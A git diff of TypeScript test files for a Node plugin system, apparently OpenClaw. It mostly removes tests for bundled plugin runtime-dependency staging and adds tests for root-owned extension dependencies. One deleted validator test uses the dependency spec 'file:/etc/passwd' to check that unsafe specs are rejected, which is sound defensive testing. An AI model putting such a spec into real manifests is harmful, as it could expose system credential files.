0646700ef60..3edfd4051f9 100644 --- a/test/scripts/docker-build-helper.test.ts +++ b/test/scripts/docker-build-helper.test.ts @@ -144,8 +144,6 @@ describe("docker build helper", () => { expect(scenarios).toContain("`bundled-plugin-install-uninstall-${index}`"); expect(scenarios).toContain("pnpm test:docker:bundled-plugin-install-uninstall"); expect(scenarios).toContain("OPENCLAW_PLUGINS_E2E_CLAWHUB=0"); - expect(scenarios).toContain('"bundled-channel-deps-compat"'); - expect(scenarios).toContain("test:docker:bundled-channel-deps:fast"); }); it("allows plugin update smoke to tolerate config metadata migrations", () => { diff --git a/test/scripts/docker-e2e-plan.test.ts b/test/scripts/docker-e2e-plan.test.ts index 8b96d072c66..0b2884a5f94 100644 --- a/test/scripts/docker-e2e-plan.test.ts +++ b/test/scripts/docker-e2e-plan.test.ts @@ -46,8 +46,6 @@ describe("scripts/lib/docker-e2e-plan", () => { expect(plan.lanes.map((lane) => lane.name)).toContain("install-e2e-anthropic"); expect(plan.lanes.map((lane) => lane.name)).toContain("mcp-channels"); expect(plan.lanes.map((lane) => lane.name)).toContain("commitments-safety"); - expect(plan.lanes.map((lane) => lane.name)).toContain("bundled-channel-feishu"); - expect(plan.lanes.map((lane) => lane.name)).toContain("bundled-channel-update-acpx"); expect(plan.lanes.map((lane) => lane.name)).toContain("bundled-plugin-install-uninstall-0"); expect(plan.lanes.map((lane) => lane.name)).toContain("bundled-plugin-install-uninstall-23"); expect(plan.lanes.filter((lane) => lane.name === "install-e2e-openai")).toHaveLength(1); @@ -141,31 +139,6 @@ describe("scripts/lib/docker-e2e-plan", () => { profile: RELEASE_PATH_PROFILE, releaseChunk: "plugins-runtime-install-h", }); - const bundledChannelsCore = planFor({ - includeOpenWebUI: true, - profile: RELEASE_PATH_PROFILE, - releaseChunk: "bundled-channels-core", - }); - const bundledChannelsUpdateA = planFor({ - includeOpenWebUI: true, - profile: RELEASE_PATH_PROFILE, - releaseChunk: "bundled-channels-update-a", - }); - const bundledChannelsUpdateDiscord = planFor({ - includeOpenWebUI: true, - profile: RELEASE_PATH_PROFILE, - releaseChunk: "bundled-channels-update-discord", - }); - const bundledChannelsUpdateB = planFor({ - includeOpenWebUI: true, - profile: RELEASE_PATH_PROFILE, - releaseChunk: "bundled-channels-update-b", - }); - const bundledChannelsContracts = planFor({ - includeOpenWebUI: true, - profile: RELEASE_PATH_PROFILE, - releaseChunk: "bundled-channels-contracts", - }); expect(packageInstallOpenAi.lanes.map((lane) => lane.name)).toEqual(["install-e2e-openai"]); expect(packageInstallAnthropic.lanes.map((lane) => lane.name)).toEqual([ @@ -260,42 +233,6 @@ describe("scripts/lib/docker-e2e-plan", () => { "bundled-plugin-install-uninstall-22", "bundled-plugin-install-uninstall-23", ]); - expect(bundledChannelsCore.lanes.map((lane) => lane.name)).toEqual([ - "plugin-update", - "bundled-channel-telegram", - "bundled-channel-discord", - "bundled-channel-slack", - "bundled-channel-feishu", - "bundled-channel-memory-lancedb", - ]); - expect(bundledChannelsCore.lanes[0]).toMatchObject({ - name: "plugin-update", - stateScenario: "empty", - }); - expect(bundledChannelsUpdateA.lanes.map((lane) => lane.name)).toEqual([ - "bundled-channel-update-telegram", - "bundled-channel-update-memory-lancedb", - ]); - expect(bundledChannelsUpdateDiscord.lanes.map((lane) => lane.name)).toEqual([ - "bundled-channel-update-discord", - ]); - expect(bundledChannelsUpdateDiscord.lanes[0]).toMatchObject({ - noOutputTimeoutMs: 4 * 60 * 1000, - timeoutMs: 6 * 60 * 1000, - }); - expect(bundledChannelsUpdateB.lanes.map((lane) => lane.name)).toEqual([ - "bundled-channel-update-slack", - "bundled-channel-update-feishu", - "bundled-channel-update-acpx", - ]); - expect(bundledChannelsContracts.lanes.map((lane) => lane.name)).toEqual([ - "bundled-channel-root-owned", - "bundled-channel-setup-entry", - "bundled-channel-load-failure", - "bundled-channel-disabled-config", - ]); - expect(bundledChannelsCore.lanes.map((lane) => lane.name)).not.toContain("plugins"); - expect(bundledChannelsUpdateA.lanes.map((lane) => lane.name)).not.toContain("openwebui"); }); it("keeps legacy release chunk names as aggregate aliases", () => { @@ -309,11 +246,6 @@ describe("scripts/lib/docker-e2e-plan", () => { profile: RELEASE_PATH_PROFILE, releaseChunk: "plugins-runtime", }); - const bundledChannelsUpdateALegacy = planFor({ - includeOpenWebUI: true, - profile: RELEASE_PATH_PROFILE, - releaseChunk: "bundled-channels-update-a-legacy", - }); const legacy = planFor({ includeOpenWebUI: true, profile: RELEASE_PATH_PROFILE, @@ -335,19 +267,8 @@ describe("scripts/lib/docker-e2e-plan", () => { "openwebui", ]), ); - expect(bundledChannelsUpdateALegacy.lanes.map((lane) => lane.name)).toEqual([ - "bundled-channel-update-telegram", - "bundled-channel-update-discord", - "bundled-channel-update-memory-lancedb", - ]); expect(legacy.lanes.map((lane) => lane.name)).toEqual( - expect.arrayContaining([ - "plugins", - "bundled-plugin-install-uninstall-0", - "plugin-update", - "bundled-channel-update-acpx", - "openwebui", - ]), + expect.arrayContaining(["plugins", "bundled-plugin-install-uninstall-0", "openwebui"]), ); }); @@ -487,8 +408,6 @@ describe("scripts/lib/docker-e2e-plan", () => { "plugin-update", "plugins", "kitchen-sink-plugin", - "bundled-channel-deps-compat", - "bundled-channel-setup-entry", "bundled-plugin-install-uninstall-0", "commitments-safety", "update-channel-switch", @@ -557,14 +476,6 @@ describe("scripts/lib/docker-e2e-plan", () => { name: "kitchen-sink-plugin", stateScenario: "empty", }), - expect.objectContaining({ - name: "bundled-channel-deps-compat", - stateScenario: "empty", - }), - expect.objectContaining({ - name: "bundled-channel-setup-entry", - stateScenario: "empty", - }), expect.objectContaining({ name: "bundled-plugin-install-uninstall-0", stateScenario: "empty", @@ -584,19 +495,6 @@ describe("scripts/lib/docker-e2e-plan", () => { ]); }); - it("maps the legacy bundled channel deps lane to the split compat lane", () => { - const selectedLaneNames = parseLaneSelection("bundled-channel-deps"); - const plan = planFor({ selectedLaneNames }); - - expect(selectedLaneNames).toEqual(["bundled-channel-deps-compat"]); - expect(plan.lanes).toEqual([ - expect.objectContaining({ - imageKind: "bare", - name: "bundled-channel-deps-compat", - }), - ]); - }); - it("maps installer E2E to provider-specific package install lanes", () => { const selectedLaneNames = parseLaneSelection("install-e2e"); const plan = planFor({ selectedLaneNames }); diff --git a/test/scripts/openclaw-cross-os-release-checks.test.ts b/test/scripts/openclaw-cross-os-release-checks.test.ts index a38f6b71150..ea103bf7039 100644 --- a/test/scripts/openclaw-cross-os-release-checks.test.ts +++ b/test/scripts/openclaw-cross-os-release-checks.test.ts @@ -98,17 +98,7 @@ describe("scripts/openclaw-cross-os-release-checks", () => { } }); - it("retries transient bundled runtime deps staging failures during agent turns", () => { - expect( - shouldRetryCrossOsAgentTurnError( - new Error("document-extract: failed to install bundled runtime deps: npm install failed"), - ), - ).toBe(true); - expect( - shouldRetryCrossOsAgentTurnError( - new Error("document-extract failed to stage bundled runtime deps after 463ms"), - ), - ).toBe(true); + it("retries transient agent-turn failures", () => { expect( shouldRetryCrossOsAgentTurnError( new Error("Agent output did not contain the expected OK marker."), @@ -671,7 +661,7 @@ describe("scripts/openclaw-cross-os-release-checks", () => { } }); - it("rejects bundled runtime-deps staging debris before candidate inventory generation", async () => { + it("rejects legacy plugin dependency staging debris before candidate inventory generation", async () => { const packageRoot = mkdtempSync(join(tmpdir(), "openclaw-cross-os-stage-debris-")); try { mkdirSync( @@ -689,7 +679,7 @@ describe("scripts/openclaw-cross-os-release-checks", () => { sourceDir: packageRoot, logPath: join(packageRoot, "npm-pack-dry-run.log"), }), - ).rejects.toThrow("unexpected bundled-runtime-deps install staging debris"); + ).rejects.toThrow("unexpected legacy plugin dependency staging debris"); } finally { rmSync(packageRoot, { recursive: true, force: true }); } diff --git a/test/scripts/package-acceptance-workflow.test.ts b/test/scripts/package-acceptance-workflow.test.ts index b6fe17dec0c..22f58329c4d 100644 --- a/test/scripts/package-acceptance-workflow.test.ts +++ b/test/scripts/package-acceptance-workflow.test.ts @@ -52,7 +52,6 @@ describe("package acceptance workflow", () => { expect(workflow).toContain("npm-onboard-channel-agent doctor-switch"); expect(workflow).toContain("update-channel-switch upgrade-survivor"); expect(workflow).toContain("published-upgrade-survivor"); - expect(workflow).toContain("bundled-channel-deps-compat"); expect(workflow).toContain("plugins-offline plugin-update"); expect(workflow).toContain("include_release_path_suites=true"); expect(workflow).not.toContain("telegram_mode requires source=npm"); @@ -376,7 +375,7 @@ describe("package artifact reuse", () => { "package_sha256: ${{ needs.prepare_release_package.outputs.package_sha256 }}", ); expect(workflow).toContain("suite_profile: custom"); - expect(workflow).toContain("docker_lanes: bundled-channel-deps-compat plugins-offline"); + expect(workflow).toContain("docker_lanes: plugins-offline plugin-update"); expect(workflow).toContain("telegram_mode: mock-openai"); expect(workflow).toContain( "telegram_scenarios: telegram-help-command,telegram-commands-command,telegram-tools-compact-command,telegram-whoami-command,telegram-context-command,telegram-mention-gating", diff --git a/test/scripts/parallels-smoke-model.test.ts b/test/scripts/parallels-smoke-model.test.ts index 00e1dcc44cb..eccb60c3fef 100644 --- a/test/scripts/parallels-smoke-model.test.ts +++ b/test/scripts/parallels-smoke-model.test.ts @@ -428,7 +428,7 @@ console.log(JSON.stringify(result)); expect(macos).not.toContain("Authorization: Bot"); expect(discord).toContain("Authorization: Bot"); expect(discord).toContain('"--silent"'); - expect(discord).toContain("plugins deps --repair"); + expect(discord).toContain("doctor --fix --yes --non-interactive"); expect(discord).toContain("channels status --probe --json"); expect(discord).toContain("Stop ${this.input.vmName} after successful Discord smoke"); }); diff --git a/test/scripts/plugin-prerelease-test-plan.test.ts b/test/scripts/plugin-prerelease-test-plan.test.ts index be916937c7b..8e9734d19f1 100644 --- a/test/scripts/plugin-prerelease-test-plan.test.ts +++ b/test/scripts/plugin-prerelease-test-plan.test.ts @@ -38,7 +38,6 @@ describe("scripts/lib/plugin-prerelease-test-plan.mjs", () => { "npm-onboard-channel-agent", "doctor-switch", "update-channel-switch", - "bundled-channel-deps-compat", "plugins-offline", "plugins", "kitchen-sink-plugin", @@ -128,12 +127,9 @@ describe("scripts/lib/plugin-prerelease-test-plan.mjs", () => { expect(assertionsScript).toContain("assertClawHubExternalInstallContract"); expect(assertionsScript).toContain("expectedErrorMessages"); expect(assertionsScript).toContain( - 'const INVALID_PROBE_DIAGNOSTIC_SURFACE_MODES = new Set(["full", "adversarial"]);', + 'const INVALID_PROBE_DIAGNOSTIC_SURFACE_MODES = new Set(["full", "conformance", "adversarial"]);', ); expect(assertionsScript).toContain("!INVALID_PROBE_DIAGNOSTIC_SURFACE_MODES.has(surfaceMode)"); - expect(assertionsScript).not.toContain( - 'const INVALID_PROBE_DIAGNOSTIC_SURFACE_MODES = new Set(["full", "conformance"', - ); expect(readFileSync("scripts/e2e/lib/clawhub-fixture-server.cjs", "utf8")).toContain( 'from "openclaw/plugin-sdk/plugin-entry"', ); diff --git a/test/scripts/postinstall-bundled-plugins.test.ts b/test/scripts/postinstall-bundled-plugins.test.ts index c10047b0eed..5a5f8eff2ad 100644 --- a/test/scripts/postinstall-bundled-plugins.test.ts +++ b/test/scripts/postinstall-bundled-plugins.test.ts @@ -2,16 +2,10 @@ import fs from "node:fs/promises"; import { tmpdir } from "node:os"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; -import { - createBundledRuntimeDependencyInstallArgs, - createBundledRuntimeDependencyInstallEnv, - createNestedNpmInstallEnv, -} from "../../scripts/lib/bundled-runtime-deps-install.mjs"; import { isDirectPostinstallInvocation, pruneOpenClawCompileCache, pruneInstalledPackageDist, - discoverBundledPluginRuntimeDeps, pruneBundledPluginSourceNodeModules, runBundledPluginPostinstall, runPluginRegistryPostinstallMigration, @@ -67,77 +61,6 @@ describe("bundled plugin postinstall", () => { ).toBe(true); }); - async function writeDiscordDaveyOptionalDependencyFixture( - extensionsDir: string, - packageRoot: string, - ) { - await writePluginPackage(extensionsDir, "discord", { - dependencies: { - "@snazzah/davey": "0.1.11", - }, - }); - await fs.mkdir(path.join(packageRoot, "node_modules", "@snazzah", "davey"), { - recursive: true, - }); - await fs.writeFile( - path.join(packageRoot, "node_modules", "@snazzah", "davey", "package.json"), - JSON.stringify({ - optionalDependencies: { - "@snazzah/davey-win32-arm64-msvc": "0.1.11", - }, - }), - ); - } - - it("clears global npm config before nested installs", () => { - expect( - createNestedNpmInstallEnv({ - NPM_CONFIG_WORKSPACES: "true", - npm_config_global: "true", - npm_config_include_workspace_root: "true", - npm_config_ignore_scripts: "false", - npm_config_location: "global", - npm_config_prefix: "/opt/homebrew", - npm_config_workspace: "extensions/telegram", - npm_config_workspaces: "true", - HOME: "/tmp/home", - }), - ).toEqual({ - HOME: "/tmp/home", - }); - }); - - it("uses package-manager-neutral runtime install args with npm config env", () => { - expect(createBundledRuntimeDependencyInstallArgs(["acpx@0.4.1"])).toEqual([ - "install", - "--ignore-scripts", - "--workspaces=false", - "acpx@0.4.1", - ]); - expect( - createBundledRuntimeDependencyInstallEnv({ - HOME: "/tmp/home", - NPM_CONFIG_IGNORE_SCRIPTS: "false", - npm_config_dry_run: "true", - npm_config_ignore_scripts: "false", - npm_config_prefix: "/opt/homebrew", - npm_config_workspaces: "true", - }), - ).toEqual({ - HOME: "/tmp/home", - npm_config_dry_run: "false", - npm_config_fetch_retries: "5", - npm_config_fetch_retry_maxtimeout: "120000", - npm_config_fetch_retry_mintimeout: "10000", - npm_config_fetch_timeout: "300000", - npm_config_ignore_scripts: "true", - npm_config_legacy_peer_deps: "true", - npm_config_package_lock: "false", - npm_config_save: "false", - npm_config_workspaces: "false", - }); - }); - it("does not install bundled plugin deps outside of source checkouts by default", async () => { const extensionsDir = await createExtensionsDir(); const packageRoot = path.dirname(path.dirname(extensionsDir)); @@ -717,81 +640,6 @@ describe("bundled plugin postinstall", () => { expect(spawnSync).not.toHaveBeenCalled(); }); - it("does not reinstall when only another platform optional native child is missing", async () => { - const extensionsDir = await createExtensionsDir(); - const packageRoot = path.dirname(path.dirname(extensionsDir)); - await writeDiscordDaveyOptionalDependencyFixture(extensionsDir, packageRoot); - const spawnSync = vi.fn(); - - runBundledPluginPostinstall({ - env: { HOME: "/tmp/home" }, - extensionsDir, - packageRoot, - arch: "arm64", - platform: "darwin", - spawnSync, - log: { log: vi.fn(), warn: vi.fn() }, - }); - - expect(spawnSync).not.toHaveBeenCalled(); - }); - - it("discovers bundled plugin runtime deps from extension manifests", async () => { - const extensionsDir = await createExtensionsDir(); - await writePluginPackage(extensionsDir, "slack", { - dependencies: { - "@slack/web-api": "7.11.0", - }, - }); - await writePluginPackage(extensionsDir, "amazon-bedrock", { - dependencies: { - "@aws-sdk/client-bedrock": "3.1020.0", - }, - }); - - expect(discoverBundledPluginRuntimeDeps({ extensionsDir })).toEqual( - expect.arrayContaining([ - { - name: "@slack/web-api", - pluginIds: ["slack"], - sentinelPath: path.join("node_modules", "@slack", "web-api", "package.json"), - version: "7.11.0", - }, - { - name: "@aws-sdk/client-bedrock", - pluginIds: ["amazon-bedrock"], - sentinelPath: path.join("node_modules", "@aws-sdk", "client-bedrock", "package.json"), - version: "3.1020.0", - }, - ]), - ); - }); - - it("merges duplicate bundled runtime deps across plugins", async () => { - const extensionsDir = await createExtensionsDir(); - await writePluginPackage(extensionsDir, "slack", { - dependencies: { - "https-proxy-agent": "^8.0.0", - }, - }); - await writePluginPackage(extensionsDir, "feishu", { - dependencies: { - "https-proxy-agent": "^8.0.0", - }, - }); - - expect(discoverBundledPluginRuntimeDeps({ extensionsDir })).toEqual( - expect.arrayContaining([ - { - name: "https-proxy-agent", - pluginIds: ["feishu", "slack"], - sentinelPath: path.join("node_modules", "https-proxy-agent", "package.json"), - version: "^8.0.0", - }, - ]), - ); - }); - it("prunes only bundled plugin package node_modules in source checkouts", async () => { const packageRoot = await createTempDirAsync("openclaw-source-prune-"); const extensionsDir = path.join(packageRoot, "extensions"); diff --git a/test/scripts/root-dependency-ownership-audit.test.ts b/test/scripts/root-dependency-ownership-audit.test.ts index e848059fbb2..4bca04b17f1 100644 --- a/test/scripts/root-dependency-ownership-audit.test.ts +++ b/test/scripts/root-dependency-ownership-audit.test.ts @@ -63,24 +63,10 @@ describe("collectModuleSpecifiers", () => { }); describe("classifyRootDependencyOwnership", () => { - it("treats root-dist bundled runtime imports as localizable extension deps", () => { - expect( - classifyRootDependencyOwnership({ - sections: ["extensions"], - rootMirrorImporters: ["discovery-DZDwKJdJ.js"], - }), - ).toEqual({ - category: "extension_only_localizable", - recommendation: - "remove from root package.json and rely on owning extension manifests plus doctor --fix", - }); - }); - it("treats scripts and tests as dev-only candidates", () => { expect( classifyRootDependencyOwnership({ sections: ["scripts", "test"], - rootMirrorImporters: [], }), ).toEqual({ category: "script_or_test_only", @@ -88,11 +74,11 @@ describe("classifyRootDependencyOwnership", () => { }); }); - it("treats extension-only deps as localizable when no root mirror exists", () => { + it("treats extension-only deps as localizable", () => { expect( classifyRootDependencyOwnership({ + depName: "vendor-sdk", sections: ["extensions", "test"], - rootMirrorImporters: [], }), ).toEqual({ category: "extension_only_localizable", @@ -101,11 +87,23 @@ describe("classifyRootDependencyOwnership", () => { }); }); + it("allows explicit root-owned internal extension runtime dependencies", () => { + expect( + classifyRootDependencyOwnership({ + depName: "playwright-core", + sections: ["extensions", "test"], + }), + ).toEqual({ + category: "root_owned_extension_runtime", + recommendation: + "keep at root; the internal browser runtime is shipped with core even though downloadable browser-adjacent plugins also declare it", + }); + }); + it("treats src-owned deps as core runtime", () => { expect( classifyRootDependencyOwnership({ sections: ["src"], - rootMirrorImporters: [], }), ).toEqual({ category: "core_runtime", @@ -117,7 +115,6 @@ describe("classifyRootDependencyOwnership", () => { expect( classifyRootDependencyOwnership({ sections: [], - rootMirrorImporters: [], }), ).toEqual({ category: "unreferenced", @@ -224,4 +221,34 @@ describe("collectRootDependencyOwnershipCheckErrors", () => { "root dependency '@tencent-connect/qqbot-connector' is extension-owned (remove from root package.json and rely on owning extension manifests plus doctor --fix); extension declarations: qqbot:dependencies; sample imports: extensions/qqbot/src/bridge/setup/finalize.ts", ]); }); + + it("does not fail explicitly root-owned internal extension runtime dependencies", () => { + const repoRoot = makeTempRepo(); + writeRepoFile( + repoRoot, + "package.json", + JSON.stringify({ dependencies: { "playwright-core": "1.59.1" } }), + ); + writeRepoFile( + repoRoot, + "extensions/browser/package.json", + JSON.stringify({ dependencies: { "playwright-core": "1.59.1" } }), + ); + writeRepoFile( + repoRoot, + "extensions/browser/src/browser/playwright-core.runtime.ts", + 'const runtime = require("playwright-core");\n', + ); + + const records = collectRootDependencyOwnershipAudit({ repoRoot, scanRoots: ["extensions"] }); + + expect(records).toMatchObject([ + { + category: "root_owned_extension_runtime", + depName: "playwright-core", + sections: ["extensions"], + }, + ]); + expect(collectRootDependencyOwnershipCheckErrors(records)).toEqual([]); + }); }); diff --git a/test/scripts/stage-bundled-plugin-runtime-deps.test.ts b/test/scripts/stage-bundled-plugin-runtime-deps.test.ts deleted file mode 100644 index 5a0c983aa25..00000000000 --- a/test/scripts/stage-bundled-plugin-runtime-deps.test.ts +++ /dev/null @@ -1,1706 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { - __testing as stageBundledPluginRuntimeDepsTesting, - collectRuntimeDependencyInstallManifest, - collectRuntimeDependencyInstallSpecs, - stageBundledPluginRuntimeDeps, -} from "../../scripts/stage-bundled-plugin-runtime-deps.mjs"; -import { createScriptTestHarness } from "./test-helpers.js"; - -const { createTempDir } = createScriptTestHarness(); - -type RuntimeDepsStampParams = { - fingerprint: string; - stampPath: string; -}; - -describe("stageBundledPluginRuntimeDeps", () => { - afterEach(() => { - vi.restoreAllMocks(); - }); - - function createBundledPluginFixture(params: { - packageJson: Record; - pluginId?: string; - }) { - const repoRoot = createTempDir("openclaw-runtime-deps-"); - const pluginId = params.pluginId ?? "fixture-plugin"; - const pluginDir = path.join(repoRoot, "dist", "extensions", pluginId); - fs.mkdirSync(pluginDir, { recursive: true }); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - `${JSON.stringify(params.packageJson, null, 2)}\n`, - "utf8", - ); - return { pluginDir, repoRoot }; - } - - function writeRuntimeDepsStamp(stampPath: string, fingerprint: string) { - fs.mkdirSync(path.dirname(stampPath), { recursive: true }); - fs.writeFileSync(stampPath, `${JSON.stringify({ fingerprint }, null, 2)}\n`, "utf8"); - } - - function runtimeDepsStampPath(repoRoot: string, pluginId = "fixture-plugin") { - return path.join(repoRoot, ".artifacts", "bundled-runtime-deps-stamps", `${pluginId}.json`); - } - - function legacyRuntimeDepsNodeModulesPath( - repoRoot: string, - stageKey = "fixture-plugin-1234567890abcdef", - ) { - return path.join(repoRoot, ".local", "bundled-plugin-runtime-deps", stageKey, "node_modules"); - } - - function writeLegacyRuntimeDepsNodeModulesSymlink(params: { - pluginDir: string; - repoRoot: string; - stageKey?: string; - }) { - const legacyNodeModulesDir = legacyRuntimeDepsNodeModulesPath(params.repoRoot, params.stageKey); - const nodeModulesDir = path.join(params.pluginDir, "node_modules"); - fs.mkdirSync(legacyNodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(legacyNodeModulesDir, "legacy.js"), "module.exports = 0;\n", "utf8"); - fs.symlinkSync(legacyNodeModulesDir, nodeModulesDir); - return { legacyNodeModulesDir, nodeModulesDir }; - } - - it("pins fallback install specs to exact installed versions", () => { - const { repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { - direct: "^1.0.0", - }, - optionalDependencies: { - optional: "~2.0.0", - }, - }, - }); - const rootNodeModulesDir = path.join(repoRoot, "node_modules"); - fs.mkdirSync(path.join(rootNodeModulesDir, "direct"), { recursive: true }); - fs.mkdirSync(path.join(rootNodeModulesDir, "optional"), { recursive: true }); - fs.writeFileSync( - path.join(rootNodeModulesDir, "direct", "package.json"), - '{ "name": "direct", "version": "1.2.3" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(rootNodeModulesDir, "optional", "package.json"), - '{ "name": "optional", "version": "2.0.4" }\n', - "utf8", - ); - - expect( - collectRuntimeDependencyInstallSpecs( - { - dependencies: { direct: "^1.0.0" }, - optionalDependencies: { optional: "~2.0.0" }, - }, - { rootNodeModulesDir }, - ), - ).toEqual({ - dependencies: ["direct@1.2.3"], - optionalDependencies: ["optional@2.0.4"], - }); - }); - - it("rejects unsafe runtime dependency specs for fallback installs", () => { - expect(() => - collectRuntimeDependencyInstallSpecs( - { - dependencies: { direct: "file:/etc/passwd" }, - }, - { rootNodeModulesDir: "/tmp/node_modules" }, - ), - ).toThrow(/disallowed runtime dependency spec for direct: file:\/etc\/passwd/u); - }); - - it("writes required and optional fallback deps into one manifest", () => { - const rootNodeModulesDir = createTempDir("openclaw-runtime-deps-manifest-"); - fs.mkdirSync(path.join(rootNodeModulesDir, "direct"), { recursive: true }); - fs.mkdirSync(path.join(rootNodeModulesDir, "optional"), { recursive: true }); - fs.writeFileSync( - path.join(rootNodeModulesDir, "direct", "package.json"), - '{ "name": "direct", "version": "1.2.3" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(rootNodeModulesDir, "optional", "package.json"), - '{ "name": "optional", "version": "2.0.4" }\n', - "utf8", - ); - - expect( - collectRuntimeDependencyInstallManifest( - { - dependencies: { direct: "^1.0.0" }, - optionalDependencies: { optional: "~2.0.0" }, - }, - { pluginId: "fixture-plugin", rootNodeModulesDir }, - ), - ).toEqual({ - name: "openclaw-runtime-deps-fixture-plugin", - private: true, - version: "0.0.0", - dependencies: { direct: "1.2.3" }, - optionalDependencies: { optional: "2.0.4" }, - }); - }); - - it("hides npm child windows during fallback runtime installs", () => { - const spawnSyncImpl = vi.fn(() => ({ status: 0, stderr: "", stdout: "" })); - - stageBundledPluginRuntimeDepsTesting.runNpmInstall({ - cwd: "C:\\openclaw\\dist\\extensions\\telegram\\.openclaw-install-stage", - npmRunner: { - command: "npm.cmd", - args: ["install", "--silent"], - env: { PATH: "C:\\node" }, - shell: false, - windowsVerbatimArguments: true, - }, - spawnSyncImpl, - }); - - expect(spawnSyncImpl).toHaveBeenCalledWith( - "npm.cmd", - ["install", "--silent"], - expect.objectContaining({ - windowsHide: true, - windowsVerbatimArguments: true, - }), - ); - }); - - it("forces fallback runtime installs off inherited npm dry-run mode", () => { - const spawnSyncImpl = vi.fn(() => ({ status: 0, stderr: "", stdout: "" })); - - stageBundledPluginRuntimeDepsTesting.runNpmInstall({ - cwd: "/tmp/openclaw-runtime-deps", - npmRunner: { - command: "npm", - args: ["install"], - env: { PATH: "/usr/bin", npm_config_dry_run: "true" }, - shell: false, - }, - spawnSyncImpl, - }); - - expect(spawnSyncImpl).toHaveBeenCalledWith( - "npm", - ["install"], - expect.objectContaining({ - env: expect.objectContaining({ - npm_config_dry_run: "false", - }), - }), - ); - }); - - it("skips restaging when runtime deps stamp matches the sanitized manifest", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - peerDependencies: { - "@openclaw/plugin-sdk": "workspace:*", - openclaw: "^1.0.0", - react: "^19.0.0", - }, - peerDependenciesMeta: { - "@openclaw/plugin-sdk": { optional: true }, - openclaw: { optional: true }, - react: { optional: true }, - }, - devDependencies: { - "@openclaw/plugin-sdk": "workspace:*", - openclaw: "^1.0.0", - typescript: "^5.9.0", - }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "present\n", "utf8"); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: () => { - installCount += 1; - }, - }); - - expect(installCount).toBe(1); - expect(fs.existsSync(path.join(nodeModulesDir, "marker.txt"))).toBe(true); - expect(JSON.parse(fs.readFileSync(path.join(pluginDir, "package.json"), "utf8"))).toEqual({ - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }); - }); - - it("restages when the manifest-owned runtime deps change", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - - let installCount = 0; - const stageOnce = () => - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), `${installCount}\n`, "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - stageOnce(); - const updatedPackageJson = JSON.parse( - fs.readFileSync(path.join(pluginDir, "package.json"), "utf8"), - ); - updatedPackageJson.dependencies["is-odd"] = "3.0.1"; - fs.writeFileSync( - path.join(pluginDir, "package.json"), - `${JSON.stringify(updatedPackageJson, null, 2)}\n`, - "utf8", - ); - stageOnce(); - - expect(installCount).toBe(2); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe("2\n"); - }); - - it("restages when the root pnpm lockfile changes", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - fs.writeFileSync(path.join(repoRoot, "pnpm-lock.yaml"), "lockfileVersion: '9.0'\n", "utf8"); - - let installCount = 0; - const stageOnce = () => - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), `${installCount}\n`, "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - stageOnce(); - fs.writeFileSync( - path.join(repoRoot, "pnpm-lock.yaml"), - "lockfileVersion: '9.0'\npatchedDependencies:\n left-pad@1.3.0: patches/left-pad.patch\n", - "utf8", - ); - stageOnce(); - - expect(installCount).toBe(2); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe("2\n"); - }); - - it("retries stale temp dir cleanup races before staging runtime deps", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const staleTempDir = path.join(pluginDir, ".openclaw-runtime-deps-copy-stale"); - fs.mkdirSync(staleTempDir, { recursive: true }); - fs.writeFileSync(path.join(staleTempDir, "marker.txt"), "stale\n", "utf8"); - const realRmSync = fs.rmSync.bind(fs); - let cleanupAttempts = 0; - vi.spyOn(fs, "rmSync").mockImplementation((target, options) => { - if (String(target) === staleTempDir && cleanupAttempts === 0) { - cleanupAttempts += 1; - const error = new Error("Directory not empty") as 